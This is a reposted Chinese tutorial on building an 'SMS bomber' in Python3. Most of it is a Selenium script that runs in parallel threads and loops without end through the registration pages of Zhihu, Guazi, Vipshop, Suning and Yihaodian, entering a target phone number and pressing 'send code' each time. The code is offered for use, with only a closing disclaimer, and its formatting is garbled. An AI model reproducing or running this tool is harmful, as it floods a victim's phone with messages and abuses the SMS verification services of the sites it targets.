手把手教你简单易懂的语言"Python3"来实现实现"短信轰炸"

手把手教你简单易懂的语言"Python3"来实现实现"短信轰炸",第1张

概述手把手教你实现"短信轰炸" 我这里采用简单易懂的语言--"Python3"来实现   实现前的准备:             1,电脑,谷歌浏览器             2,python3环境             3,chromedrive相应的版本 1 ,  当然需要下载python的咯--> Python最新源码,二进制文档,新闻资讯等可以在Python的官网查看到:       Pyt @H_502_0@手把手教你实现"短信轰炸"我这里采用简单易懂的语言--"python3"来实现

@H_502_0@实现前的准备:

@H_502_0@            1,电脑,谷歌浏览器

@H_502_0@            2,python3环境

@H_502_0@            3,Chromedrive相应的版本

@H_502_0@1,  当然需要下载python的咯--> Python最新源码,二进制文档,新闻资讯等可以在Python的官网查看到:

@H_502_0@Python官网:https://www.python.org/你可以在以下链接中下载 Python 的文档,你可以下载 HTML、pdf 和 postscript 等格式的文档。

@H_502_0@Python文档下载地址:https://www.python.org/doc/  我这下载的是最新版本python3.7

@H_502_0@

@H_502_0@ 

@H_502_0@你们下载后按照一步一步的next就差不多了没什么难度和特别的地方,然后你把python追加到你的系统变量(右击电脑->高级设置->环境配置)的path中就可以了.

@H_502_0@ 

@H_502_0@2,你需要自动的去实现浏览器页面的事件你当然必不可少的需要安装Chromedriver啦,下面给你详细的安装步骤

@H_502_0@点击下面的连接下载Chromedrive,

@H_502_0@http://Chromedriver.storage.GoogleAPIs.com/index.HTML

@H_502_0@你会看到很多版本,这个版本要对应你的谷歌浏览器的版本哟,大致的就可以咯哟,现在谷歌最新版本应该是73.0.3683.

@H_502_0@

@H_502_0@ 

@H_502_0@下载的安装目录一定要在你的谷歌浏览器的目录里面,否者是没用的哟,我把我的贴上去了

@H_502_0@

@H_502_0@ 

@H_502_0@一切准备就绪了,那就打开你的python,在这里我们需要安装三个python包,如果你是linux *** 作系统可能比较方便安装引入查看相应的库和,不过在windows下你可以定位到你python下的script的文件下按住shift键右击在此处打开命令不过你用cd去定位也是一样的哟,pip install 包名  这样既可以了哟!如果你觉得慢的话,你也可以直接在网上下载到python文件里面去哟,再说的话你直接在相关的python(pycharm)编辑器里面的设置去引入包也是一样的,我在这里就不累赘叙说了.

@H_502_0@

@H_502_0@ 

@H_502_0@3,话不多说->直接上代码:

from selenium import webdriverimport timefrom threading import Thread class HongZha(object):def __init__(self):self.phone = "12345678909"#你要轰炸的电话号码self.num = 0def send_yzm(self,button,name):button.click()self.num+=1print("{} 第{}次 发送成功 {}".format(self.phone,self.num,name))time.sleep(2)def zhihu(self,name):while True:#下面这行是刚刚叙说的Chromedrive的安装路径driver = webdriver.Chrome("C:\Program files (x86)\Google\Chrome\Application\chromedriver.exe")driver.get("https://www.zhihu.com/question/39993344")driver.find_element_by_xpath ( "//button[@class=‘button button--primary button--blue‘]" ).click ()time.sleep(2)tel = driver.find_element_by_xpath("//input[@placeholder=‘手机号‘]")tel.send_keys(self.phone)button = driver.find_element_by_xpath ( "//button[@class=‘button CountingDownbutton SignFlow-smsinputbutton button--plain‘]" ) self.send_yzm(button,name) driver.quit ()def guazi(self,name):while True:driver = webdriver.Chrome("C:\Program files (x86)\Google\Chrome\Application\chromedriver.exe")driver.get("https://www.guazi.com/www/bj/buy")a_btn = driver.find_element_by_xpath ( "//a[@class=‘uc-my‘]" ) a_btn.click()time.sleep(2) tel = driver.find_element_by_xpath("//input[@placeholder=‘请输入您的手机号码‘]")tel.send_keys( self.phone ) button = driver.find_element_by_xpath("//button[@class=‘get-code‘]") self.send_yzm(button,name) driver.quit() def wphui(self,name): while True:driver = webdriver.Chrome("C:\Program files (x86)\Google\Chrome\Application\chromedriver.exe")driver.get ( "https://passport.vip.com/register?src=https%3A%2F%2Fwww.vip.com%2F" ) tel = driver.find_element_by_xpath ( "//input[@placeholder=‘请输入手机号码‘]" ) tel.send_keys ( self.phone ) driver.find_element_by_xpath ( "//input[@ID=‘J_mobile_code‘]" ).click() button = driver.find_element_by_xpath ( "//a[@class=‘ui-btn-medium btn-verify-code ui-btn-secondary‘]" )self.send_yzm ( button,name ) driver.quit ()def suning(self,name):while True:driver = webdriver.Chrome("C:\Program files (x86)\Google\Chrome\Application\chromedriver.exe")driver.get ( "https://reg.suning.com/person.do" ) driver.find_element_by_xpath("//a[@class=‘agree-btn‘]").click()tel = driver.find_element_by_xpath ( "//input[@ID=‘mobileAlias‘]") tel.send_keys ( self.phone )button = driver.find_element_by_xpath ("//a[@ID=‘sendSmsCode‘]" )self.send_yzm ( button,name ) driver.quit ()def yhd(self,name): while True:driver = webdriver.Chrome("C:\Program files (x86)\Google\Chrome\Application\chromedriver.exe") driver.get ( "https://passport.yhd.com/passport/register_input.do" )driver.find_element_by_xpath ( "//input[@ID=‘username‘]" ).send_keys("我的女神")tel = driver.find_element_by_xpath ( "//input[@ID=‘phone‘]" )tel.send_keys ( self.phone ) time.sleep(2) button = driver.find_element_by_xpath ("//a[@class=‘receive_code fl same_code_btn r_disable_code ‘]" )#button.click() time.sleep(1) self.send_yzm ( button,name )driver.quit ()if __name__ == ‘__main__‘: hongzha = HongZha() zhihu = Thread(target=hongzha.zhihu,args=("知乎",)) guazi = Thread ( target=hongzha.guazi,args=("瓜子",)) wphui = Thread(target=hongzha.wphui,args=("唯品会",))suning = Thread(target=hongzha.suning,args=("苏宁",)) yhd = Thread( target=hongzha.yhd,args=("一号店",))
@H_502_0@然后运行结果我就不弄太多,因为是我自己的手机测试的,

@H_502_0@我做的处理防止拿我手机号来轰炸!

zhihu.start()guazi.start()
@H_502_0@

@H_502_0@ 

  wphui.start()  suning.start()  yhd.start()
@H_502_0@在这里申明:我只提供技术上的学习讨论,不能来搞商业事情,小编概不负任何责任....

@H_502_0@声明: 你们拿来做的任何事情与小编无关!

总结

以上是内存溢出为你收集整理的手把手教你简单易懂的语言"Python3"来实现实现"短信轰炸"全部内容,希望文章能够帮你解决手把手教你简单易懂的语言"Python3"来实现实现"短信轰炸"所遇到的程序开发问题。

如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。

欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/langs/1198057.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-06-03
下一篇 2022-06-03

发表评论

登录后才能评论

评论列表(0条)

保存